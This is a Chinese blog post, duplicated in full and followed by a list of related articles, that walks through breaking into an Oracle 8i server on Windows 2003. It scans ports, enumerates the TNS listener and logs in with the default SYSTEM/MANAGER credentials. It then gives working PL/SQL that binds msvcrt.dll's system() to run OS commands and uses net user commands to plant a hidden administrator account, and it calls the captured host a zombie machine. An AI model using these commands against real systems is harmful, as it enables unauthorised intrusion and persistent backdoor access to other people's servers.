一次通过 Oracle8i 入侵系统之旅
2008-05-29 15:21
302 查看
来源:冷漠's Blog
Author:Mickey
最近看了些有关 Oracle 的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.。先用 SuperScan4.0 扫描下要测试的主机,速度很快,结果如图 1 所示:
图 1
端口 1521 是 Oracle 的 TNS Listener 默认监听的端口,通过扫描报告还可以看到 Oracle 的版本为 8i.现在还不 知道对方的操作系统版本,看到主机还开放了终端服务,直接连上去看下操作系统版本.如图 2,
图 2
确定操作系统版本为 Windows Server 2003 企业版。Oracle 10g 之前的版本默认情况下是允许远程管理 TNS Listener 的,这台主机的 Oracle 版本为 8i,我们通过 TNS Listenner 来收集下更多的详细信息.如果本地安装了 Oracle 可以直接调用 Lsnrctl 连接到测试的主机,如图 3 所示:
图 3
通过输入"status "命令我们可以得到 oracle 详细版本(8.1.70.0),操作系统(Windows),跟踪级别为 OFF(说明没有开启审核),安全性为 OFF(说明没有设置 Listener 口令),日志文件的绝对路径(判断 Oracle 安装路径),数据库的 SID(ccdr).
要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID 我们已经知道了. 接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.
图 4
看来 管 理 员 安 装 完 Oracle8i 后就 没 有 进 行 进 一 步 的 安 全 配 置 , 所有 的 用 户 名 密 码 都 是 默 认 的 . 在
Oracle 中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER 来连接数据库.
在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:
SqlPlus system/manager@//victimip:1521/ccdr
,
连接成功 后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位 msvcrt.dll 文件.这里需要使用完整的路径,通过刚才
对主机的 查点 我们 已经 知道 操作 系统为 win2003, 如果系统 安装 到 C 盘的话 , 那 msvcrt.dll 默认路径 就为
c:/windows/system32/msvcrt.dll.创建库的命令如下:
CREATE OR REPLACE LIBRARY exec_shell AS 'c:/windows/system32/msvcrt.dll';
接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
CREATE ORE REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命 令如下:
exec oracmd.exec ('net user mickey imissyou /add');
exec oracmd.exec ('net localgroup administrators mickey /add');
帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)
图 5
参考文献:
<<数据库黑客大曝光>>
Author:Mickey
最近看了些有关 Oracle 的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.。先用 SuperScan4.0 扫描下要测试的主机,速度很快,结果如图 1 所示:
图 1
端口 1521 是 Oracle 的 TNS Listener 默认监听的端口,通过扫描报告还可以看到 Oracle 的版本为 8i.现在还不 知道对方的操作系统版本,看到主机还开放了终端服务,直接连上去看下操作系统版本.如图 2,
图 2
确定操作系统版本为 Windows Server 2003 企业版。Oracle 10g 之前的版本默认情况下是允许远程管理 TNS Listener 的,这台主机的 Oracle 版本为 8i,我们通过 TNS Listenner 来收集下更多的详细信息.如果本地安装了 Oracle 可以直接调用 Lsnrctl 连接到测试的主机,如图 3 所示:
图 3
通过输入"status "命令我们可以得到 oracle 详细版本(8.1.70.0),操作系统(Windows),跟踪级别为 OFF(说明没有开启审核),安全性为 OFF(说明没有设置 Listener 口令),日志文件的绝对路径(判断 Oracle 安装路径),数据库的 SID(ccdr).
要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID 我们已经知道了. 接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.
图 4
看来 管 理 员 安 装 完 Oracle8i 后就 没 有 进 行 进 一 步 的 安 全 配 置 , 所有 的 用 户 名 密 码 都 是 默 认 的 . 在
Oracle 中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER 来连接数据库.
在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:
SqlPlus system/manager@//victimip:1521/ccdr
,
连接成功 后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位 msvcrt.dll 文件.这里需要使用完整的路径,通过刚才
对主机的 查点 我们 已经 知道 操作 系统为 win2003, 如果系统 安装 到 C 盘的话 , 那 msvcrt.dll 默认路径 就为
c:/windows/system32/msvcrt.dll.创建库的命令如下:
CREATE OR REPLACE LIBRARY exec_shell AS 'c:/windows/system32/msvcrt.dll';
接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
CREATE ORE REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命 令如下:
exec oracmd.exec ('net user mickey imissyou /add');
exec oracmd.exec ('net localgroup administrators mickey /add');
帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)
图 5
参考文献:
<<数据库黑客大曝光>>
相关文章推荐
- 一次通过 Oracle8i 入侵系统之旅
- 一次通过Oracle8i入侵系统之旅(图)
- 一次通过Oracle8i入侵系统之旅(图)
- 如何通过tomcat入侵远程计算机系统
- 在Oracle中不通过存储过程一次执行多条SQL语句Oracle PL/SQL
- 在Oracle中不通过存储过程一次执行多条SQL语句Oracle PL/SQL
- CentOS系统通过日志反查是否被入侵
- 在Oracle中不通过存储过程一次执行多条SQL语句Oracle PL/SQL
- 如何通过tomcat入侵远程计算机系统
- 如何通过asp入侵web server,窃取文件毁坏系统
- oracle之通过系统表创建一个几万的数据的表的方法
- 通过jdbc的execute函数一次向oracle提交多条sql
- 一次消无声息的系统被入侵经历
- 通过案例学Oracle之--一次AIX rac误操作引起的“血案”
- 通过案例学Oracle之--一次AIX rac误操作引起的“血案”
- 如何通过tomcat入侵远程计算机系统
- 记一次ubuntu下通过grub引导win7 双系统
- ABAP--如何通过Oracle游标直接操作Oracle的系统表
- 通过整合多种Oracle技术来定位、分析并解决问题——一次Access数据库表导入Oracle的完整记录
- 看紧你的3306端口,一次通过mysql的入侵